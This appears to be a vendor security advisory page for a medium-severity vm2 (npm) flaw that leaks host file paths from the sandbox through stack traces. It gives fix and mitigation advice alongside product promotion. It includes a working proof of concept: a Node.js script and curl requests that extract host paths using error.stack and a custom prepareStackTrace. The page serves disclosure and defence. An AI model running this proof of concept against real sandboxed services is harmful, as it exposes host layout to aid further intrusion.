How severe is GHSA-v27g-jcqj-v8rw?

GHSA-v27g-jcqj-v8rw has a CVSS score of 5.8/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-v27g-jcqj-v8rw?

GHSA-v27g-jcqj-v8rw affects the following packages: vm2 (npm). Ecosystems affected: npm.

How do I fix GHSA-v27g-jcqj-v8rw?

Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v27g-jcqj-v8rw is resolved across your whole dependency graph.

How do I detect GHSA-v27g-jcqj-v8rw in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-v27g-jcqj-v8rw if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-v27g-jcqj-v8rw?

O3 pinpoints whether GHSA-v27g-jcqj-v8rw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-v27g-jcqj-v8rw actively exploited in the wild?

No public exploit code has been indexed for GHSA-v27g-jcqj-v8rw yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-v27g-jcqj-v8rw published, and has it been updated?

GHSA-v27g-jcqj-v8rw was published on May 7, 2026 and was last updated on May 14, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-v27g-jcqj-v8rw

MEDIUM

GHSA-v27g-jcqj-v8rw is a medium-severity (CVSS 5.8) vulnerability in vm2. O3 Security confirms whether GHSA-v27g-jcqj-v8rw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

Also known asCVE-2026-44002

Published

May 7, 2026

Updated

May 14, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

vm2npm

1.2Mdownloads / week

Description

Summary

vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details

In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

getFileName() — returns host absolute paths like /app/node_modules/vm2/lib/vm.js
getLineNumber(), getColumnNumber() — exact source locations
getFunctionName(), getMethodName(), getTypeName() — internal function names

Two exploitation paths exist:

Default error.stack: new Error().stack includes host frame paths in the formatted string
Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...

HTTP demonstration:

# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...

Impact

Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
Scope: All applications using vm2. No special configuration required.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`vm2`	all versions	3.11.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v27g-jcqj-v8rw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v27g-jcqj-v8rw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-v27g-jcqj-v8rw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary vm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. ### Details In `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsani

O3 Security · Impact-Aware SCA

Is GHSA-v27g-jcqj-v8rw in your dependencies?

O3 detects GHSA-v27g-jcqj-v8rw across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works